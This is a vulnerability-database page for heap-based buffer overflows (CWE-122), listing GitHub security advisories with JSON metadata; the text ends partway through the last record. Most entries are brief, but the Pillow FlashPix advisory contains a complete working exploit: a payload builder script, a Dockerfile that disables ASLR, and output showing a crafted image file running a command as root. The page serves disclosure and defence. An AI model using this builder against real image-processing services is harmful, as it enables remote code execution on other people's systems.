Common Weakness Enumeration

CWE-122

Allowed

Heap-based Buffer Overflow

Abstraction: Variant · Status: Draft

A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc().

6336 vulnerabilities reference this CWE, most recent first.

GHSA-5WPV-46M6-VRC3

Vulnerability from github – Published: 2026-10-15 12:31 – Updated: 2026-10-15 12:31
VLAI
Details

A heap buffer overflow in HPE NonStop Posix User Threads may allow arbitrary code execution.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-79831"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-122"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-15T11:17:50Z",
    "severity": "MODERATE"
  },
  "details": "A heap buffer overflow in HPE NonStop Posix User Threads may allow arbitrary code execution.",
  "id": "GHSA-5wpv-46m6-vrc3",
  "modified": "2026-10-15T12:31:03Z",
  "published": "2026-10-15T12:31:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-79831"
    },
    {
      "type": "WEB",
      "url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbns05148en_us\u0026docLocale=en_US"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5WRG-WV69-274M

Vulnerability from github – Published: 2026-07-14 18:32 – Updated: 2026-07-14 18:32
VLAI
Details

Heap-based buffer overflow in Microsoft Office PowerPoint allows an unauthorized attacker to execute code locally.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-55120"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-122"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-14T18:18:18Z",
    "severity": "HIGH"
  },
  "details": "Heap-based buffer overflow in Microsoft Office PowerPoint allows an unauthorized attacker to execute code locally.",
  "id": "GHSA-5wrg-wv69-274m",
  "modified": "2026-07-14T18:32:35Z",
  "published": "2026-07-14T18:32:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55120"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55120"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5WXM-V343-G7F8

Vulnerability from github – Published: 2022-08-18 00:00 – Updated: 2026-10-09 15:31
VLAI
Details

Heap-based Buffer Overflow in GitHub repository vim/vim prior to 9.0.0219.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-2849"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-122"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-08-17T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "Heap-based Buffer Overflow in GitHub repository vim/vim prior to 9.0.0219.",
  "id": "GHSA-5wxm-v343-g7f8",
  "modified": "2026-10-09T15:31:14Z",
  "published": "2022-08-18T00:00:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2849"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vim/vim/commit/f6d39c31d2177549a986d170e192d8351bd571e2"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/389aeccd-deb9-49ae-9b6a-24c12d79b02e"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/XWOJOA7PZZAMBI5GFTL6PWHXMWSDLUXL"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XWOJOA7PZZAMBI5GFTL6PWHXMWSDLUXL"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202305-16"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5X33-389C-C5HR

Vulnerability from github – Published: 2026-11-04 00:32 – Updated: 2026-11-04 00:32
VLAI
Details

NoMachine nxwebrunner Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of NoMachine. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the web service, which listens on TCP port 4443 by default. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-30685.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-114549"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-122"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-11-04T00:17:22Z",
    "severity": "CRITICAL"
  },
  "details": "NoMachine nxwebrunner Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of NoMachine. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the web service, which listens on TCP port 4443 by default. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-30685.",
  "id": "GHSA-5x33-389c-c5hr",
  "modified": "2026-11-04T00:32:19Z",
  "published": "2026-11-04T00:32:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-114549"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-26-786"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5X3V-28RM-5HQX

Vulnerability from github – Published: 2024-11-12 18:30 – Updated: 2024-11-12 18:30
VLAI
Details

SQL Server Native Client Remote Code Execution Vulnerability

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-48996"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-122"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-12T18:15:36Z",
    "severity": "HIGH"
  },
  "details": "SQL Server Native Client Remote Code Execution Vulnerability",
  "id": "GHSA-5x3v-28rm-5hqx",
  "modified": "2024-11-12T18:30:59Z",
  "published": "2024-11-12T18:30:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48996"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-48996"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5X4J-M9QH-G9W5

Vulnerability from github – Published: 2022-04-15 00:00 – Updated: 2022-04-26 00:01
VLAI
Details

A heap-based buffer overflow vulnerability exists in the sphere.c start_read() functionality of Sound Exchange libsox 14.4.2 and master commit 42b3557e. A specially-crafted file can lead to a heap buffer overflow. An attacker can provide a malicious file to trigger this vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-40426"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-122",
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-04-14T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "A heap-based buffer overflow vulnerability exists in the sphere.c start_read() functionality of Sound Exchange libsox 14.4.2 and master commit 42b3557e. A specially-crafted file can lead to a heap buffer overflow. An attacker can provide a malicious file to trigger this vulnerability.",
  "id": "GHSA-5x4j-m9qh-g9w5",
  "modified": "2022-04-26T00:01:05Z",
  "published": "2022-04-15T00:00:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-40426"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/02/msg00009.html"
    },
    {
      "type": "WEB",
      "url": "https://talosintelligence.com/vulnerability_reports/TALOS-2021-1434"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2023/dsa-5356"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2023/02/03/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5X8W-8JJ5-Q52H

Vulnerability from github – Published: 2026-10-23 21:55 – Updated: 2026-10-23 21:55
VLAI
Summary
Pillow: Heap buffer overflow in FlashPix (FPX) JPEG decoding leads to code execution
Details

Credits

Researcher: Alex Bouffard (mixbo@pebwalker.com)

Summary

A heap buffer overflow in Pillow's FlashPix (FPX) JPEG-tile decoder lets an attacker achieve arbitrary code execution by getting an application to open a single crafted file with Image.open(). The file is recognized by content (the OLE2 magic), not by extension, so any service that opens or thumbnails untrusted uploads with the optional olefile dependency installed is reachable with no user interaction. In the PoC below, opening one crafted file executes an attacker-chosen command on stock Pillow 12.2.0 (x86_64 Ubuntu 24.04, glibc 2.39).

Details

FpxImagePlugin decodes FlashPix (FPX) files, which are OLE2/CFBF compound documents.

Image.open() auto-detects them from the OLE2 magic D0CF11E0... whenever the optional olefile package is installed (Pillow's documented dependency for FPX/MIC support), regardless of the file's extension.

For a JPEG-compressed subimage (compression == 2), the plugin builds a "jpeg" decode tile and derives the (rawmode, jpegmode) pair from attacker-controlled FPX color IDs through the MODES table (src/PIL/FpxImagePlugin.py L25-L32):

MODES = {
    ...
    (0x00018000, 0x00017FFE): ("RGBA", "LA"),                # rawmode "LA"  (2 bytes/pixel)
    ...
    (0x00020000, 0x00020001, 0x00020002): ("RGB", "YCC;P"),  # rawmode "YCC;P"
}

The Imaging output buffer for the tile is sized for the rawmode (here "LA" = 2 bytes/pixel) (src/decode.c L223-L226):

state->bytes = (state->bits * state->xsize + 7) / 8;   // "LA" gives 2 * xsize bytes/row
...
state->buffer = (UINT8 *)calloc(1, state->bytes);

In JpegDecode.c the rawmode string is mapped to a libjpeg out_color_space. Recognized modes (CMYK, YCbCr, YCbCrK, and so on) get a concrete colorspace, but "LA" and "YCC;P" are not recognized, so control reaches the fallback branch (src/libImaging/JpegDecode.c L219-L221):

/* Disable decoder conversions. */
context->cinfo.jpeg_color_space = JCS_UNKNOWN;
context->cinfo.out_color_space  = JCS_UNKNOWN;

Under JCS_UNKNOWN, libjpeg performs no color conversion and emits cinfo.num_components bytes per pixel, taken from the embedded JPEG's SOF marker, which the attacker sets to 4. So jpeg_read_scanlines writes 4 * width bytes per row into a buffer allocated for only 2 * width bytes (src/libImaging/JpegDecode.c L252):

ok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1);   // writes 4*W into a 2*W buffer

This is a heap out-of-bounds write with attacker-controlled length (the image width, up to tens of thousands of pixels, so about 2 * width bytes of overflow per row) and attacker-controlled content (the decoded pixel data). The PoC weaponizes it: the overflow overwrites an adjacent Python bytes object's ob_type with a pointer to a fake PyTypeObject / PyBufferProcs vtable that the same overflow plants inside the decode buffer. When Pillow releases the input buffer, PyBuffer_Release walks ob_type -> tp_as_buffer -> bf_releasebuffer and executes call *rax; the PoC points that at system@plt (fixed, the interpreter binary is non-PIE) with rdi set to the command string, yielding command execution.

PoC

To facilitate an exact reproduction on an x86_64 machine, this PoC uses the version-pinned, ASLR-disabled Docker image from Annex A.

The source code for the payload builder make_payload.py is in Annex B.

vulnerable.py is the program under test, a one-liner that opens the file it is given:

#!/usr/bin/env python3
# The entire vulnerable operation an application performs on an untrusted file.
import sys
from PIL import Image

Image.open(sys.argv[1]).load()

The payload is a standalone .fpx file the attacker crafts on their own host; the target only ever opens the resulting file, so building it requires no access to or code execution on the target. We run make_payload.py inside the same container here purely for convenience, so its baked-in addresses (--offset, system@plt) match this pinned image. The payload redirects the hijacked indirect call to system@plt (0x4206c0, fixed because the interpreter binary is non-PIE) with a baked-in command:

$ python3 make_payload.py --target 0x4206c0 --cmd id --out shell.fpx
[control] shell.fpx: S=0xdc8800 target=0x4206c0 cmd='id' craft_iters=0 bad=0
[control] opening it: vtable hijack -> call *0x4206c0 with rdi -> 'id'

Then open it with vulnerable.py:

$ python3 vulnerable.py shell.fpx
uid=0(root) gid=0(root) groups=0(root)
corrupted size vs. prev_size

Image.open() of the crafted file runs the baked command via system("id"): command execution as the user running the image processing (root in the container).

The trailing corrupted size vs. prev_size is glibc aborting during interpreter teardown over the corrupted heap, after id has already run.

The builder writes the command inline at the hijacked rdi, so --cmd is limited to 7 bytes (for example id, id;w). --offset and system@plt are constants of the pinned, ASLR-disabled image and hold across runs of it.

Impact

This is a heap-based buffer overflow (CWE-122) / out-of-bounds write (CWE-787) that leads to code execution. Any application or service that opens attacker-influenced files with Pillow and has the optional olefile dependency installed is affected: image upload and thumbnailing services, avatar and media processing, document and image conversion pipelines, and similar. Because detection is by OLE2 magic rather than file extension and the overflow is triggered during a normal Image.open() / load, a server that automatically processes an uploaded file is exploitable with no user interaction. The result is arbitrary command execution in the context of the process performing the image processing, leading to full compromise of that process and the data and privileges it holds.

Annex A: Docker setup

The PoC runs in a pinned Docker image so the environment is deterministic; the image installs a version-pinned Python (3.12.3) and the Pillow 12.2.0 wheel, and the builder is pure Pillow. The image's entrypoint disables ASLR (setarch -R) to reduce the system knowledge requirements. The single --security-opt seccomp=unconfined flag on docker run is required only because turning ASLR off uses the personality() syscall that Docker's default seccomp profile blocks. Run only on infrastructure you own.

1. Build the image. Put vulnerable.py (PoC) and make_payload.py (Annex B) in a directory with this Dockerfile:

FROM ubuntu:24.04@sha256:786a8b558f7be160c6c8c4a54f9a57274f3b4fb1491cf65146521ae77ff1dc54
RUN apt-get update && apt-get install -y --no-install-recommends \
        ca-certificates \
        python3.12=3.12.3-1ubuntu0.13 python3.12-venv=3.12.3-1ubuntu0.13 \
    && rm -rf /var/lib/apt/lists/*
RUN python3.12 -m venv /opt/v \
    && /opt/v/bin/pip install --no-cache-dir "Pillow==12.2.0" "olefile==0.47"
ENV PATH=/opt/v/bin:$PATH
WORKDIR /poc
# ASLR is an OS mitigation unrelated to the bug; disable it in-image for a deterministic heap.
ENTRYPOINT ["setarch", "-R"]
CMD ["bash"]
$ docker build -t fjpeg1-poc .
...
Downloading pillow-12.2.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl (7.1 MB)
Successfully installed Pillow-12.2.0 olefile-0.47
Successfully built 370344c832b6
Successfully tagged fjpeg1-poc:latest

2. Start the (ASLR-disabled) container shell with the scripts mounted:

docker run --rm -it --security-opt seccomp=unconfined -v "$PWD:/poc" -w /poc fjpeg1-poc

Annex B: payload builder source

make_payload.py:

#!/usr/bin/env python3
"""F-JPEG-1 payload builder for a 0-ASLR box (x86_64 + glibc), pure Pillow (no native toolchain).
Builds an .fpx whose embedded 4-component JPEG, decoded via Pillow's FpxImagePlugin -> JCS_UNKNOWN
path, overflows the 2-byte/px decode buffer and overwrites an adjacent object's ob_type.
  --crash      flood an adjacent ob_type with 0x42.. -> SIGSEGV in PyBuffer_Release
  (default)    CONTROL: fake vtable at the fixed (no-ASLR) addresses -> call *--target
Defaults target the pinned Docker image with ASLR disabled (setarch -R). See --help."""
import sys, io, struct, math, argparse
from PIL import Image

W, H = 65000, 2
SECT, OB_TYPE_OFF, DATA_PAD, SENTINEL = 512, 130024, 0x18000, 0x4142434445464748
FREESECT, ENDOFCHAIN, FATSECT, NOSTREAM = 0xFFFFFFFF, 0xFFFFFFFE, 0xFFFFFFFD, 0xFFFFFFFF
FPX_CLSID = bytes.fromhex("0067615654C1CE11855300AA00A1F95B")
o32 = lambda v: struct.pack("<I", v)
p64 = lambda v: struct.pack("<Q", v)
INV = bytes(255 - i for i in range(256))   # 8-bit inversion table

def jpeg(src):
    b = io.BytesIO()
    Image.frombytes("CMYK", (W, H), bytes(src)).save(b, "JPEG", quality=100, subsampling=0)
    return b.getvalue()

def decode_row(jpg):
    # Predict what the vulnerable JCS_UNKNOWN path decodes, using Pillow itself: JCS_UNKNOWN emits
    # the raw JPEG components R, while Pillow's own CMYK decode of the same file returns 255 - R
    # (the Adobe-CMYK inversion). So 255 - Image.open(jpg) is exactly the vulnerable output. The
    # last decoded row is the one that lands in (and overflows past) the buffer.
    px = Image.open(io.BytesIO(jpg)).tobytes()
    return px[(H - 1) * W * 4:].translate(INV)

def craft(targets, iters=40):  # decode-feedback exact write (JPEG is lossy -> iterate to converge)
    # base fill 0xBD -> decodes to 0x42, so the overflow GAPS match the crash-mode flood pattern
    # that reaches PyBuffer_Release cleanly (uniform 0x42 avoids a premature glibc free() abort).
    src = bytearray(b"\xbd" * (W * H * 4)); base = (H - 1) * W * 4; it = 0
    for off, t in targets:
        for i, v in enumerate(t): src[base + off + i] = src[off + i] = 255 - v
    for it in range(iters):
        dec = decode_row(jpeg(src)); bad = 0
        for off, t in targets:
            for i, v in enumerate(t):
                if dec[off + i] != v:
                    bad += 1
                    src[base + off + i] = src[off + i] = max(0, min(255, src[base + off + i] + dec[off + i] - v))
        if not bad: break
    return jpeg(src), it, bad

def maxid_for(w, h):
    s, i = max(w, h), 1
    while s > 64: s //= 2; i += 1
    return i - 1
MAXID = maxid_for(W, H); RESNAME = "Resolution %04d" % MAXID

def image_contents():
    ui4 = lambda v: o32(19) + o32(v); blob = lambda b: o32(65) + o32(len(b)) + b
    cb = o32(1) + o32(2) + o32(0x00018000) + o32(0x00017FFE)        # FPX color -> rawmode "LA"
    props = [(0x1000002, ui4(W)), (0x1000003, ui4(H)), (0x2000002 | (MAXID << 16), blob(cb))]
    voff = 8 + 8 * len(props); idx = vals = b""
    for pid, v in props: idx += o32(pid) + o32(voff); vals += v; voff += len(v)
    body = o32(len(props)) + idx + vals
    return (struct.pack("<HHI", 0xFFFE, 0, 0x00020005) + b"\x00" * 16 + o32(1) + b"\x00" * 16
            + o32(48) + o32(len(body) + 4) + body)

def subimage_header():
    b = bytearray(80)
    for o, v in [(32, W), (36, H), (40, 1), (44, max(W, 256)), (48, max(H, 256)), (52, 2),
                 (56, 36), (60, 16), (64, 0), (72, 2)]:
        struct.pack_into("<I", b, o, v)
    return bytes(b)

def build_fpx(jpg, out):
    data = b"\x00" * 28 + jpg
    assert len(data) <= DATA_PAD, (len(data), DATA_PAD)
    pad = lambda x: x + b"\x00" * ((-len(x)) % SECT)
    sd = {"ic": pad(image_contents().ljust(4096, b"\x00")),
          "hdr": pad(subimage_header().ljust(4096, b"\x00")),
          "dat": pad(data.ljust(DATA_PAD, b"\x00"))}
    ns = lambda x: len(x) // SECT; order = ["ic", "dat", "hdr"]
    dsec = math.ceil(6 * 128 / SECT); content = dsec + sum(ns(sd[k]) for k in order)
    fsec = 1
    while fsec * 128 < fsec + content: fsec += 1
    pos = {}; cur = fsec; dstart = cur; cur += dsec
    for k in order: pos[k] = cur; cur += ns(sd[k])
    total = cur
    fat = [FREESECT] * (fsec * 128)
    for s in range(fsec): fat[s] = FATSECT
    def chain(a, n):
        for j in range(n): fat[a + j] = a + j + 1 if j < n - 1 else ENDOFCHAIN
    chain(dstart, dsec)
    for k in order: chain(pos[k], ns(sd[k]))
    def de(nm, t, ch, l, r, st, sz, cl=b"\x00" * 16):
        n = (nm.encode("utf-16-le") + b"\x00\x00").ljust(64, b"\x00")[:64]
        return (n + struct.pack("<HBB", min((len(nm) + 1) * 2, 64), t, 1) + o32(l) + o32(r)
                + o32(ch) + cl + o32(0) + b"\x00" * 16 + o32(st) + struct.pack("<Q", sz))
    directory = pad(b"".join([
        de("Root Entry", 5, 1, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0, FPX_CLSID),
        de("Data Object Store 000001", 1, 2, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0),
        de("\x05Image Contents", 2, NOSTREAM, NOSTREAM, 3, pos["ic"], len(sd["ic"])),
        de(RESNAME, 1, 4, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0),
        de("Subimage 0000 Data", 2, NOSTREAM, NOSTREAM, 5, pos["dat"], len(sd["dat"])),
        de("Subimage 0000 Header", 2, NOSTREAM, NOSTREAM, NOSTREAM, pos["hdr"], len(sd["hdr"]))]))
    h = bytearray(512); h[0:8] = bytes.fromhex("D0CF11E0A1B11AE1")
    for o, fmt, *v in [(24, "<HH", 0x3E, 3), (28, "<H", 0xFFFE), (30, "<HH", 9, 6), (44, "<I", fsec),
                       (48, "<I", dstart), (56, "<I", 4096), (60, "<I", ENDOFCHAIN), (68, "<I", ENDOFCHAIN)]:
        struct.pack_into(fmt, h, o, *v)
    for i in range(109): struct.pack_into("<I", h, 76 + i * 4, i if i < fsec else FREESECT)
    secs = [b""] * total
    for s in range(fsec): secs[s] = b"".join(o32(x) for x in fat[s * 128:(s + 1) * 128])
    for j in range(dsec): secs[dstart + j] = directory[j * SECT:(j + 1) * SECT]
    for k in order:
        for j in range(ns(sd[k])): secs[pos[k] + j] = sd[k][j * SECT:(j + 1) * SECT]
    open(out, "wb").write(bytes(h) + b"".join(secs))

def xhex(s): return int(s, 16)

SYSTEM_PLT = 0x4206c0   # system@plt in the image's non-PIE python3.12 (fixed, no libc leak)

def main():
    ap = argparse.ArgumentParser(description="F-JPEG-1 .fpx payload builder (0-ASLR box)")
    ap.add_argument("--out", required=True, help="output .fpx path")
    ap.add_argument("--crash", action="store_true",
                    help="crash mode: flood an adjacent ob_type with 0x42.. and SIGSEGV (no addresses)")
    ap.add_argument("--heap-base", type=xhex, default=0xbaa000,
                    help="fixed heap base of the 0-ASLR box (default 0xbaa000)")
    ap.add_argument("--offset", type=xhex, default=0x21e800,
                    help="state->buffer - heap_base (default 0x21e800 -> S=0xdc8800)")
    ap.add_argument("--target", type=xhex, default=SENTINEL,
                    help="value called via the hijacked vtable; pass %#x (system@plt) for "
                         "command execution (default is a sentinel for an RIP-control demo)" % SYSTEM_PLT)
    ap.add_argument("--cmd", default="id",
                    help="command system() runs, written inline at obj+0 / rdi (<=7 bytes, e.g. id, id;w)")
    a = ap.parse_args()

    if a.crash:
        # Pillow's CMYK JPEG path decodes inverted (decoded = 255 - src), so flood source 0xBD
        # to make the decoded overflow bytes 0x42 -> the adjacent ob_type becomes 0x4242424242424242.
        build_fpx(jpeg(bytes([0xBD]) * (W * H * 4)), a.out)
        print("[crash] %s: opening it overwrites an adjacent ob_type with 0x4242424242424242 "
              "-> SIGSEGV in PyBuffer_Release (no addresses)" % a.out)
        return

    if len(a.cmd.encode()) > 7:
        sys.exit("--cmd must be <=7 bytes (it is written inline at obj+0, before ob_type)")
    S = a.heap_base + a.offset
    A0, A1, B0, B1 = 0x2000, 0xA000, 0x100, 0x2000     # spray A = fake type, spray B = TARGET
    tg = [(OB_TYPE_OFF, p64(S + (A0 + A1) // 2)),
          (OB_TYPE_OFF - 8, a.cmd.encode() + b"\x00")]      # obj+0 -> rdi for system()
    tg += [(o, p64(S + 0x100)) for o in range(A0, A1, 8)]   # fake type -> spray B at +0xa0..+8
    tg += [(o, p64(a.target)) for o in range(B0, B1, 8)]
    jpg, it, bad = craft(tg)
    build_fpx(jpg, a.out)
    print("[control] %s: S=%#x target=%#x cmd=%r craft_iters=%d bad=%d"
          % (a.out, S, a.target, a.cmd, it, bad))
    print("[control] opening it: vtable hijack -> call *%#x with rdi -> %r" % (a.target, a.cmd))

if __name__ == "__main__":
    main()
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 12.3.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "13.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-112398"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-122",
      "CWE-787"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-23T21:55:21Z",
    "nvd_published_at": "2026-10-19T22:17:07Z",
    "severity": "CRITICAL"
  },
  "details": "### Credits\n\n**Researcher**: Alex Bouffard (mixbo@pebwalker.com)\n\n### Summary\n\nA heap buffer overflow in Pillow\u0027s FlashPix (FPX) JPEG-tile decoder lets an attacker achieve arbitrary code execution by getting an application to open a single crafted file with `Image.open()`. The file is recognized by content (the OLE2 magic), not by extension, so any service that opens or thumbnails untrusted uploads with the optional `olefile` dependency installed is reachable with no user interaction. In the PoC below, opening one crafted file executes an attacker-chosen command on stock Pillow 12.2.0 (x86_64 Ubuntu 24.04, glibc 2.39).\n\n### Details\n\n`FpxImagePlugin` decodes FlashPix (FPX) files, which are OLE2/CFBF compound documents.\n\n`Image.open()` auto-detects them from the OLE2 magic `D0CF11E0...` whenever the optional `olefile` package is installed (Pillow\u0027s documented dependency for FPX/MIC support), regardless of the file\u0027s extension.\n\nFor a JPEG-compressed subimage (`compression == 2`), the plugin builds a `\"jpeg\"` decode tile and derives the `(rawmode, jpegmode)` pair from attacker-controlled FPX color IDs through the `MODES` table ([`src/PIL/FpxImagePlugin.py` L25-L32](https://github.com/python-pillow/Pillow/blob/12.2.0/src/PIL/FpxImagePlugin.py#L25-L32)):\n\n```python\nMODES = {\n    ...\n    (0x00018000, 0x00017FFE): (\"RGBA\", \"LA\"),                # rawmode \"LA\"  (2 bytes/pixel)\n    ...\n    (0x00020000, 0x00020001, 0x00020002): (\"RGB\", \"YCC;P\"),  # rawmode \"YCC;P\"\n}\n```\n\nThe Imaging output buffer for the tile is sized for the rawmode (here `\"LA\"` = 2 bytes/pixel) ([`src/decode.c` L223-L226](https://github.com/python-pillow/Pillow/blob/12.2.0/src/decode.c#L223-L226)):\n\n```c\nstate-\u003ebytes = (state-\u003ebits * state-\u003exsize + 7) / 8;   // \"LA\" gives 2 * xsize bytes/row\n...\nstate-\u003ebuffer = (UINT8 *)calloc(1, state-\u003ebytes);\n```\n\nIn `JpegDecode.c` the rawmode string is mapped to a libjpeg `out_color_space`. Recognized modes (`CMYK`, `YCbCr`, `YCbCrK`, and so on) get a concrete colorspace, but `\"LA\"` and `\"YCC;P\"` are not recognized, so control reaches the fallback branch ([`src/libImaging/JpegDecode.c` L219-L221](https://github.com/python-pillow/Pillow/blob/12.2.0/src/libImaging/JpegDecode.c#L219-L221)):\n\n```c\n/* Disable decoder conversions. */\ncontext-\u003ecinfo.jpeg_color_space = JCS_UNKNOWN;\ncontext-\u003ecinfo.out_color_space  = JCS_UNKNOWN;\n```\n\nUnder `JCS_UNKNOWN`, libjpeg performs no color conversion and emits `cinfo.num_components` bytes per pixel, taken from the embedded JPEG\u0027s SOF marker, which the attacker sets to 4. So `jpeg_read_scanlines` writes `4 * width` bytes per row into a buffer allocated for only `2 * width` bytes ([`src/libImaging/JpegDecode.c` L252](https://github.com/python-pillow/Pillow/blob/12.2.0/src/libImaging/JpegDecode.c#L252)):\n\n```c\nok = jpeg_read_scanlines(\u0026context-\u003ecinfo, \u0026state-\u003ebuffer, 1);   // writes 4*W into a 2*W buffer\n```\n\nThis is a heap out-of-bounds write with attacker-controlled length (the image width, up to tens of thousands of pixels, so about `2 * width` bytes of overflow per row) and attacker-controlled content (the decoded pixel data). The PoC weaponizes it: the overflow overwrites an adjacent Python `bytes` object\u0027s `ob_type` with a pointer to a fake `PyTypeObject` / `PyBufferProcs` vtable that the same overflow plants inside the decode buffer. When Pillow releases the input buffer, `PyBuffer_Release` walks `ob_type -\u003e tp_as_buffer -\u003e bf_releasebuffer` and executes `call *rax`; the PoC points that at `system@plt` (fixed, the interpreter binary is non-PIE) with `rdi` set to the command string, yielding command execution.\n\n### PoC\n\nTo facilitate an exact reproduction on an x86_64 machine, this PoC uses the version-pinned, ASLR-disabled Docker image from [Annex A](#annex-a-docker-setup).\n\nThe source code for the payload builder `make_payload.py` is in [Annex B](#annex-b-payload-builder-source).\n\n`vulnerable.py` is the program under test, a one-liner that opens the file it is given:\n\n```python\n#!/usr/bin/env python3\n# The entire vulnerable operation an application performs on an untrusted file.\nimport sys\nfrom PIL import Image\n\nImage.open(sys.argv[1]).load()\n```\n\nThe payload is a standalone `.fpx` file the attacker crafts on their own host; the target only ever opens the resulting file, so building it requires no access to or code execution on the target. We run `make_payload.py` inside the same container here purely for convenience, so its baked-in addresses (`--offset`, `system@plt`) match this pinned image. The payload redirects the hijacked indirect call to `system@plt` (`0x4206c0`, fixed because the interpreter binary is non-PIE) with a baked-in command:\n\n```console\n$ python3 make_payload.py --target 0x4206c0 --cmd id --out shell.fpx\n[control] shell.fpx: S=0xdc8800 target=0x4206c0 cmd=\u0027id\u0027 craft_iters=0 bad=0\n[control] opening it: vtable hijack -\u003e call *0x4206c0 with rdi -\u003e \u0027id\u0027\n```\n\nThen open it with `vulnerable.py`:\n\n```console\n$ python3 vulnerable.py shell.fpx\nuid=0(root) gid=0(root) groups=0(root)\ncorrupted size vs. prev_size\n```\n\n`Image.open()` of the crafted file runs the baked command via `system(\"id\")`: command execution as the user running the image processing (root in the container).\n\nThe trailing `corrupted size vs. prev_size` is glibc aborting during interpreter teardown over the corrupted heap, after `id` has\nalready run.\n\nThe builder writes the command inline at the hijacked `rdi`, so `--cmd` is limited to 7 bytes (for example `id`, 